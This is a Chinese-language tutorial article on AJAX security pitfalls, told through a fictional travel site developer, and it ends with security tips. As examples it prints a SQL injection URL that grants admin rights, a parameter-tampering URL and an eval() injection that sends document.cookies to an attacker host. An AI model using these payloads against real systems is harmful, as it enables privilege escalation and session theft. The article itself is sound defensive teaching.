模板
教程
环境
性能
功能
管理
AJAX也有安全隐患 谈谈AJAX的安全性
为了帮助你理解一些Ajax的问题，我在这里给你介绍一个假想的旅行公司-“时代尖端旅行公司”。由于受到AJAX bug的推动，他们的主要web开发者Max Uptime为了创建一个这样的应用程序，他决定混合使用AJAX，这样，他走在时代尖端了。
AJAX的问题
半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显然，使用安全编码技术的好的设计，对于更安全的AJAX大有帮助，我们需要感谢Max熟悉开放万维网应用安全计划(the Open Web Application Security Project - OWASP)排名前十的最严重web应用程序安全漏洞列表(www.owasp.org)。不幸的是，当Max实现AJAX的时候，他仍然需要面对许多额外的因素：
1.新的技术：如果Max想把他的站点连接到一个SQL数据库，他在Google查到了数百万的例子。AJAX技术，不管这种技术有多年轻，它仍然是出现在采购循环中相对较早的，尽管它只有很少一部分好的例子出现在网络上。为了解决一些难处理的和不必要的复杂问题，这就要求像Max那样的开发者去自主开发。Max也就不得不编写服务器端和客户端的代码，创建他自己不太确定的协议(特别是对服务器响应来讲)。不管这些协议有多好，都将会及时表现在页面上。
2.非传统方式的设计：AJAX有一点点不同于传统设计方式，因为这样的应用程序是半客户端半服务端的。在Max的例子里，他是唯一的开发者，所以他为服务端和客户端都能够进行编码。在同一时间使用两种不同的语言(特别是在早期阶段)进行开发将会产生一些初级的编码错误，因为他要在两端来回跳跃，对一端来讲非常好，但可能在另一端不能够胜任。即使Max有一个大的开发团队，安全编码责任也可能在服务端和客户端开发小组之间代码移交的时候发生问题。
3.太多的脚本语言：Max凭借他自己的聪明才智决定建立世界上最优秀的旅行登记工具。你从输入你现在的位置(通过邮政编码、电话区号或者GPS等等)开始登记，这时候一个AJAX请求就会被立即发送来确定你确切的位置。从那时候开始，屏幕上就会填入你所有可以利用的旅行方式，这一切甚至都是在你决定你想要去什么地方、你打算什么时候动身和你打算和谁一同去之前就完成的。
这个屏幕上的单元格和控件都充满了AJAX驱动，服务器端和客户端的脚本可能需要超过20个不同的服务器调用。你可以想像一个很小的个体服务器程序，比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.
显而易见，如果没有Max的仔细计划(比如创建多功能的“重载”JavaScript函数和服务器脚本)，每一次设计他都需要创建超过40个独立的部分。更多的编程意味着会产生更多的错误和bug，意味着需要更多的时间去编写、管理、测试和更新代码。不仅如此，因为在客户端的JavaScript代码中应用了大量的这种脚本，他们在正式的程序测试中也容易变得很健忘。
4.确定小部分的AJAX不会引起危害：这个站点是一个计划出行的站点，但是Max考虑的是它将立刻为你提供一个显示精确位置的卫星视图，并且把你所要到达目的地的天气情况也提供给你。AJAX最大的诱惑之一看起来好像是直到最后一刻它还在进行其它的操作，就像一个讲解员在那里解说一样，为了AJAX使用了AJAX。当Max开始尝试他的新想法时，他会逐渐尝试增加更多新的功能，完全忽视测试的需要。
5.不安全的通讯：每一个AJAX调用可能只回传很少数量的数据给客户端，但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用卡号码进行数字校验，但是如果使用纯文本代替over SSL进行发送数据会怎样呢?这是一个显而易见的问题，但是当有许多例行程序需要考虑，特别是屏幕上其它99%的数据不是真正的机密数据时，很容易就会忽视掉SSL的。
6.服务器端访问控制：使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误，服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆，他可能会是像下面这样：
showprevioushotels.aspx?userid=12345&destination=UK
这当然是非常好的，但是如果一个恶意用户把URL改成了如下所示该怎么办呢:
showprevioushotels.aspx?userid=12346&destination=%
他们会得到其他人最喜爱的旅馆吗?(注意:%在SQL语句中是通配符)。无疑，这是一个没有什么危害的例子，但是Max应该使用session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分，但它们可能就是最重要的一小部分。
因为这是一个服务器端的检查，当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼，这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。
AJAX控制可以比用户自己更仔细验证用户的输入，但是他们还是经常在服务器上最后做一次验证。
AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下，URL通常是隐藏着的，所以也会经常忘掉它。举例说明一下，也许我可以使用SQL Injection来对刚才的脚本进行攻击，如下所示:
showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;--
就会让我登录后具有系统管理员的权限。当然，如何取得那些表名(table)和字段名已经超出了本文讨论的范围，但是你已经了解这种情况了，不是吗?
7.服务器端验证:实际上这里有两个问题。第一，AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max，使Max有一种虚假的安全感，原因是他建立了称作alloweddestinations.php的函数，根据用户的ID来决定他们能够到达的正确目的地。
8.客户端验证:我们已经知道在刚才的Google Suggest例子中，通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难保证可靠性和流畅性)，客户端将仅仅简单执行服务器需要它完成的事情。
这样的话，由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”)，于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中)，这种攻击将很难被发现。
Max使用下面的响应在目的地网页上更新天气图标，他是用的函数是eval();函数:
updateWeatherIcon('cloudy.gif');
然而，恶意的cracker能够把这个函数变成下面的形式，这样要发现这种攻击就更加困难了:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。
小结
毫无疑问，AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”，使用AJAX必须小心谨慎，这样才能够保证web站点的安全。
然而，最大的威胁之一，来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外，使测试很不直观;同时，这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失，它们变得更多更复杂了。
5个最重要的AJAX安全提示：
为了取得成功，你必须从好的计划开始。必须集中你的才智减少和简化AJAX调用，创建一个标准的响应格式，在任何地方都要遵循这个协定(理想的XML)。
遵循来自像开放万维网应用安全计划那样的站点的最优方法。这里面特别包含了访问控制和输入校验漏洞检查，同时确保敏感信息使用over SSL胜过使用普通文本。
永远不要假设服务器端AJAX对于访问控制或者用户输入校验检查能够代替在服务器上的最终再检查。增加AJAX控制永远不会减少你的验证工作量，它们只能增加你的工作量。
永远不要假设客户端的混淆技术(obfuscation，在这里指使JavaScript难于阅读和解码)能够保护你非常重要的商业秘密。使用JavaScript是隐藏程序设计最没用的一种手段，还能够为你的对手提供好处。
最后，你必须非常好的领导你的开发团队。使用AJAX听起来非常引人注目，但是你应该认识到要保留你的开发团队以便开发版本2，当然现在你应该开发非常稳定的版本1。
